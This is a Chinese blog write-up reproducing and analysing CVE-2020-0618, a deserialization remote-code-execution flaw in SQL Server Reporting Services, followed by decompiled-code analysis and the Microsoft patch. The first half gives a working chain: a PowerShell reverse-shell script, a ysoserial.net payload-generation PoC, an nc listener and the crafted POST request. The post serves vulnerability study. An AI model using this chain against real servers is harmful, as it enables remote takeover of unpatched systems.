CVE-2020-0618 复现&分析-安全KER

漏洞复现

环境：

Windows 10
SQL Server 2016（需安装 Reporting Services 模块）

在复现之前我们需要手动创建一个分页报表，如何创建报表本文不再赘述
这里我创建了一个名为 test 的分页报表

SQL Server 安装完毕后服务就已经自动启动
访问 http://localhost/ReportServer 就可以看到 Reporting Services 已经启动：

点击 test 可以看到创建好的报表：

漏洞的路径为 /ReportServer/Pages/ReportViewer.aspx
所以访问 http://localhost/ReportServer/Pages/ReportViewer.aspx：

在 ReportViewer.aspx 中存在反序列化漏洞，可以进行反弹 shell

Powershell 反弹 shell 的脚本如下：

$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1", 8888); #开启TCP连接
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0}; #建立一个长度为65535的byte数组作为buffer，初值都设为0
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { #当收到数据长度不等于零时进行循环
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); #得到shell命令
    $sendback = (iex $data 2>&1 | Out-String); #执行命令，并把标准输出和标准错误输出都转为字符串存储在$sendback
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "; #加上目录
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); #把$sendback2转为byte数组
    $stream.Write($sendbyte, 0, $sendbyte.Length); #发送数据
    $stream.Flush(); #刷新
}
$client.Close(); #关闭连接

用 Powershell 写出 POC 脚本
使用了 ysoserial.net 工具生成序列化 payload，并复制到剪贴板
ysoserial.net 的下载地址在：https://github.com/pwntester/ysoserial.net
POC 如下：

$command = '$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip
echo 'Payload is pasted to clipboard.'

这时使用 nc 监听本地 8888 端口：

nc -lvp 8888

需要发送以下 HTTP 请求来进行攻击：

POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X

NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[Payload]&__VIEWSTATE=

这里使用 Postman 发送 POST 请求（需要在 Authorization 处进行 NTLM 验证）

即可得到 shell：

漏洞分析

前置知识

网页使用的是 ASP.NET 技术
ASP.NET 支持三种不同的开发模式：Web Pages、MVC、Web Forms

使用 Web Forms 模式时会自动启用 ViewState 来保留表单数据
通常使用 LosFormatter 来序列化和反序列化 ViewState

而这个页面使用的就是 Web Forms 模式
漏洞就是 LosFormatter 反序列化引起的命令执行

源代码分析

前端

ReportViewer.aspx 页面的源代码如下：

<div id="NavigationCorrector" style="display:none;">
  <input type="hidden" name="NavigationCorrector$ScrollPosition" id="NavigationCorrector_ScrollPosition" />
  <input type="hidden" name="NavigationCorrector$ViewState" id="NavigationCorrector_ViewState" />
  <input
    type="hidden"
    name="NavigationCorrector$PageState"
    id="NavigationCorrector_PageState"
    value="NeedsCorrection"
  />
  <div id="NavigationCorrector_ctl00">
    <input type="hidden" name="NavigationCorrector$NewViewState" id="NavigationCorrector_NewViewState" />
  </div>
</div>

其中有四个 type 为 hidden 的 input
他们的 name 分别是NavigationCorrector$ScrollPosition、NavigationCorrector$ViewState、NavigationCorrector$PageState、NavigationCorrector$NewViewState

所以我们才可以传入NavigationCorrector$ViewState 和 NavigationCorrector$PageState 参数来实现命令执行

那么为什么在网页中会出现这些隐藏的 input 呢，我们来看后端的代码

后端

漏洞文件是 ReportingServicesWebServer.dll
在 SQL Server 的安装目录中可以找到
使用 .NET Reflector 来反编译 ReportingServicesWebServer.dll

其中漏洞函数是 Microsoft.Reporting.WebForms.BrowserNavigationCorrector.OnLoad 方法
在搜索框里搜索就能定位到这个方法
方法的源代码如下：

protected override void OnLoad(EventArgs e)
{
    base.OnLoad(e);
    this.EnsureChildControls();
    if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
    {
        string str = this.m_viewerViewState.Value;
        if (!string.IsNullOrEmpty(str))
        {
            LosFormatter formatter = new LosFormatter();
            object viewState = null;
            try
            {
                viewState = formatter.Deserialize(str);
            }
            catch (Exception exception1)
            {
                object[] objArray = new object[] { str, exception1.ToString() };
                RSTrace.get_UITracer().TraceException(TraceLevel.Warning, "Failed to rebuild the custom ViewState object. \n- Serialized ViewState: \"{0}\". \n- Exception: {1}", objArray);
            }
            if (viewState != null)
            {
                ((IPublicViewState) this.m_viewer).LoadViewState(viewState);
            }
        }
    }
}

可以看到在方法的一开始先调用了 EnsureChildControls 方法
双击函数名进行跟进：

protected virtual void EnsureChildControls()
{
    if (!this.ChildControlsCreated && !this.flags[0x100])
    {
        this.flags.Set(0x100);
        try
        {
            this.ResolveAdapter();
            if (this._adapter != null)
            {
                this._adapter.CreateChildControls();
            }
            else
            {
                this.CreateChildControls();
            }
            this.ChildControlsCreated = true;
        }
        finally
        {
            this.flags.Clear(0x100);
        }
    }
}

可以看出这个函数是的功能是确保 ChildControls 开启
而开启需要调用 CreateChildControls 方法
再次双击函数名跟进：

protected override void CreateChildControls()
{
    this.Controls.Clear();
    base.CreateChildControls();
    this.m_scrollPosition = new HiddenField();
    this.m_scrollPosition.ID = "ScrollPosition";
    this.Controls.Add(this.m_scrollPosition);
    this.m_viewerViewState = new HiddenField(); //定义隐藏控件
    this.m_viewerViewState.ID = "ViewState";
    this.Controls.Add(this.m_viewerViewState);
    this.m_pageState = new HiddenField();
    this.m_pageState.ID = "PageState";
    this.Controls.Add(this.m_pageState);
    this.m_updatePanel = new UpdatePanel();
    this.Controls.Add(this.m_updatePanel);
    this.m_asyncPostBackViewState = new HiddenField();
    this.m_asyncPostBackViewState.ID = "NewViewState";
    this.m_updatePanel.ContentTemplateContainer.Controls.Add(this.m_asyncPostBackViewState);
}

像 this.m_viewerViewState = new HiddenField(); 这样的语句定义了 m_viewerViewState、m_pageState 等隐藏控件
这就是为什么网页里会出现隐藏的 input

再回到漏洞函数：

protected override void OnLoad(EventArgs e)
{
    base.OnLoad(e);
    this.EnsureChildControls();

    //如果m_pageState（即传入的NavigationCorrector$PageState参数）的值为NeedsCorrection则向下执行
    if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
    {
        //定义str为m_viewerViewState（即传入的NavigationCorrector$ViewState参数）的值
        string str = this.m_viewerViewState.Value;
        if (!string.IsNullOrEmpty(str))
        {
            //实例化一个LosFormatter对象
            LosFormatter formatter = new LosFormatter();
            object viewState = null;
            try
            {
                //对传入的NavigationCorrector$ViewState参数直接进行反序列化
                viewState = formatter.Deserialize(str);
            }
            catch (Exception exception1)
            {
                object[] objArray = new object[] { str, exception1.ToString() };
                RSTrace.get_UITracer().TraceException(TraceLevel.Warning, "Failed to rebuild the custom ViewState object. \n- Serialized ViewState: \"{0}\". \n- Exception: {1}", objArray);
            }
            if (viewState != null)
            {
                ((IPublicViewState) this.m_viewer).LoadViewState(viewState);
            }
        }
    }
}

好了，漏洞函数的漏洞是如何产生的已经搞清楚了
那么看看这个函数在哪里被调用了

BrowserNavigationCorrector 类在 Microsoft.ReportingServices.WebServer.ReportViewerPage 类的 OnInit 方法中被调用：

protected override void OnInit(EventArgs e)
{
    base.OnInit(e);
    ReportViewerHost reportViewer = this.ReportViewer;
    reportViewer.EnableHybrid = this.ShowHybrid;
    if (reportViewer != null)
    {
        PageRequestManagerErrorHandler child = new PageRequestManagerErrorHandler();
        reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child);
        BrowserNavigationCorrector corrector = reportViewer.CreateNavigationCorrector();
        reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), corrector);
    }
}

而这个类就是处理 ReportViewer.aspx 页面的
所以在 ReportViewer.aspx 中出现了漏洞
而且是 OnInit 方法，页面中的调用顺序也是最高的

后续补丁

微软在后续补丁中开启了 LosFormatter 的 MAC 验证来修复该漏洞

将漏洞函数的这一语句：

LosFormatter losFormatter = new LosFormatter();

改为：

LosFormatter losFormatter = new LosFormatter(true, this.m_viewer.GetUserId());

在微软的官方文档里可以看到 LosFormatter 类的构造函数的不同使用方法：

第一种是默认的不开启 MAC 验证
而第二三种开启了 MAC 验证

CVE-2020-0618 复现&分析

译文声明

漏洞复现

漏洞分析

前置知识

源代码分析

前端

后端

后续补丁

发表评论

TA的文章

CVE-2020-0618 复现&分析

MRCTF Misc 官方WriteUp

相关文章

黑客利用恶意NuGet包攻击.NET开发人员

卷入.NET WEB

在MSSQL中使用CLR组件提权

如何控制.NET CLR使用日志实现EDR规避

基于.NET动态编译技术实现任意代码执行

Windows .NET Core SDK权限提升漏洞分析

红队新思路：利用Windows调试框架在.NET进程内直接调用.NET方法

热门推荐